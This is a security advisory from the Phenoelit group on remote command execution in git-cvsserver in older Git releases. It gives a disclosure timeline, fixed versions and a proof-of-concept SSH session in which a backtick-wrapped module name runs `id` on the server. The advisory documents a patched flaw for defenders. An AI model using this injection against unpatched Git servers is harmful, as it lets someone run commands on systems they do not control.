Git cvsserver Remote Command Execution

`Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 ++--->  
  
[ Authors ]  
joernchen <joernchen () phenoelit de>  
  
Phenoelit Group (http://www.phenoelit.de)  
  
[ Affected Products ]  
Git before 2.14.2, 2.13.6, 2.12.5, 2.11.4 and 2.10.5 (git-cvsserver)  
https://git-scm.com  
  
[ Vendor communication ]  
2017-09-08 Sent vulnerability details to the git-security list  
2017-09-09 Acknowledgement of the issue, git maintainers ask if  
a patch could be provided  
2017-09-10 Patch is provided  
2017-09-11 Further backtick operations are patched by the git  
maintainers, corrections on the provided patch  
2017-09-11 Revised patch is sent out  
2017-09-11 Jeff King proposes to drop `git-cvsserver`'s default  
invocation from `git-shell`  
2017-09-22 Draft release for git 2.14.2 is created including the  
fixes  
2017-09-26 Release of this advisory, release of fixed git versions  
  
[ Description ]  
The `git` subcommand `cvsserver` is a Perl script which makes excessive  
use of the backtick operator to invoke `git`. Unfortunately user input  
is used within some of those invocations.  
  
  
It should be noted, that `git-cvsserver` will be invoked by `git-shell`  
by default without further configuration.  
  
[ Example ]  
Below a example of a OS Command Injection within `git-cvsserver`  
triggered via `git-shell`:  
  
=====8<=====  
[git@host ~]$ cat .ssh/authorized_keys  
command="git-shell -c \"$SSH_ORIGINAL_COMMAND\"" ssh-rsa AAAAB3NzaC ....  
  
[joernchen@host ~]$ ssh git@localhost cvs server  
Root /tmp  
E /tmp/ does not seem to be a valid GIT repository  
E  
error 1 /tmp/ is not a valid repository  
Directory .  
`id>foooooo`  
add  
fatal: Not a git repository: '/tmp/'  
Invalid module '`id>foooooo`' at /usr/lib/git-core/git-cvsserver line 3807, <STDIN> line 4.  
[joernchen@host ~]$  
  
[git@host ~]$ cat foooooo  
uid=619(git) gid=618(git) groups=618(git)  
[git@host ~]$  
=====>8=====  
  
[ Solution ]  
Upgrade to one of the following git versions:  
* 2.14.2  
* 2.13.6  
* 2.12.5  
* 2.11.4  
* 2.10.5  
  
[ end of file ]  
`